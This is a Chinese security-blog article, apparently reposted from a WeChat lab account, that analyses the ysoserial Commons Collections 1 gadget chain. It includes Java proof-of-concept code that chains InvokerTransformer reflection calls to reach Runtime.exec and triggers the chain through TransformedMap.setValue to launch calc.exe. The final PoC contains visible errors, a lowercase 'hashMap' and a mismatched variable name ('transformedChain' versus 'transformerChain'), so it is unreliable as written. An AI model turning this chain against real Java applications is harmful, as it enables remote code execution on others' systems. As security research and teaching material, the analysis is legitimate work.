Ysoserial CC1利用链构造分析

admin 2025年2月20日23:44:45评论4 views字数 4385阅读14分37秒阅读模式

YsoserialCC1利用链构造分析

一.前言:

CC链即Apache Commons Collections是Apache软件基金会的项目,Commons-Collections 试图通过提供新的接口、实现和实用程序来构建 JDK 类。有很多功能,包括:具有每个对象的多个副本的集合的 Bag 接口 BidiMap 接口,用于可以从值到键以及从键到值查找的地图 MapIterator 接口提供简单快速的地图迭代 转换装饰器,在每个对象被添加到集合时改变它 使多个集合看起来像一个的复合集合 添加保留顺序元素的有序映射和集合,包括基于 LRU 的映射 允许在严格控制下对键和/或值进行垃圾收集的参考映射 许多比较器实现 许多迭代器实现 从数组和枚举到集合的适配器类 用于测试或创建集合的典型集合论属性的实用程序,例如并集、交集和闭包,其包结构如下:

Ysoserial CC1利用链构造分析

二.探究cc链

我们首先来看cc1的核心部分

public static void main(String[] args) {
Transformer transformers[]=new Transformer[]{

new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
  };
  Transformer transformChain= new ChainedTransformer(transformers);

}

我们首先来步入cc1中ConstantTransformer这个类,在这个类里面我们将我们输入的Runtime.class绑定给iCOnstant最后通过transform返回

public ConstantTransformer(Object constantToReturn) {
      this.iConstant = constantToReturn;
  }

  public Object transform(Object input) {
      return this.iConstant;
  }

接下来继续往下跟我们进入cc1的InvokerTransformer类我们来看看这个类做了什么

private InvokerTransformer(String methodName) {
  this.iMethodName = methodName;
  this.iParamTypes = null;
  this.iArgs = null;
}


public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  this.iMethodName = methodName;
  this.iParamTypes = paramTypes;
  this.iArgs = args;
}

   从代码我们可以清晰看到将我们传入的值分别给类的三个属性 iMethodName(方法名),iParamTypes(参数类型),iArgs进行绑定(参数值)。在最下面会把传入的参数input通过反射来调用input类中的方法。并且还是任意方法,正因为这个我们可以达到命令执行的这种效果。

   我们继续看cc1链往下跟进入我们最为关键的一个类ChainedTransformer,这个类的主要功能就是首先将我们传入transformers数组中的元素调用他本类下的transform方法,代码如下

public Object transform(Object object) {
      for(int i = 0; i < this.iTransformers.length; ++i) {
          object = this.iTransformers[i].transform(object);
      }

      return object;
  }

   第一次循环:第一个元素是ConstantTransformer(Runtime.class),这个字符串被传入transform方法,返回Runtime.class,object变量变为Runtime.class。第二次循环:第二个元素invokerTransformer(“getMethod”,…),调用它的transform函数并将Runtime.class传入会返回Runtime.class.getClass().getMethod(“getRuntime”,new Class[0])...这样一直循环下去就可以构造出反射调用计算器的利用链

   那么现在为了触发核心利用链需要有可以调用transform()的地方。利用的方式可以有两种这里我们先讲一种就是TransformedMap那么什么是TransformedMap,在Java中Map类是存储键值对的数据结构。Apache Commons Collections中实现了TransformedMap  ,该类可以在一个元素被添加/删除/或是被修改时(集合中的数据存储形式即是一个索引对应一个值),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义,简单来说就是TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作

TransformedMap这个类触发点是因为执行了 entry.setValue("anything")

  for (Map.Entry<String,Object> entry:transformedMap.entrySet()){
      System.out.println(entry);
        entry.setValue("anything");
    }

对应构造poc

HashMap innerMap = new HashMap();       
innerMap.put("value","xxxx");        
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
//这里创建了Map对象,并将序列化链保存到了outerMap的valueTransformer中,当value被更改时,便会触发TransformedMap的transformValue方法从而触发chain的transform方法,完成代码执行。

   那么为什么执行了 entry.setValue("anything");就可以造成恶意代码执行呢,是因为在entry.setValue("anything")前先执行了checkSetValue方法调用了valueTransformer.transform方法这样就会把我们ChainedTransformer中的东西拿去执行

/**
* Override to transform the value when using <code>setValue</code>.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {
  return valueTransformer.transform(value);
}

完整poc

public static void main(String[] args) throws Exception {

  Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod",
          new Class[] {String.class, Class[].class }, new Object[] {
          "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke",
          new Class[] {Object.class, Object[].class }, new Object[] {
          null, new Object[0] }),
      new InvokerTransformer("exec",
          new Class[] {String.class }, new Object[] {"calc.exe"})};

  //首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap
  Transformer transformedChain = new ChainedTransformer(transformers);

  Map innerMap = new hashMap();
  innerMap.put("1", "HACK");

  Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  //触发Map中的MapEntry产生修改(例如setValue()函数
  Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();

  onlyElement.setValue("foobar");
  /*代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:
      首先通过ConstantTransformer获得Runtime类
      进一步通过反射调用getMethod找到invoke函数
      最后再运行命令calc.exe。
  */
}

  昆仑云安全实验室系列文章仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担!!!

    昆仑云安全实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!!!

原文始发于微信公众号(昆仑云安全):Ysoserial CC1利用链构造分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月20日23:44:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ysoserial CC1利用链构造分析https://cn-sec.com/archives/911394.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息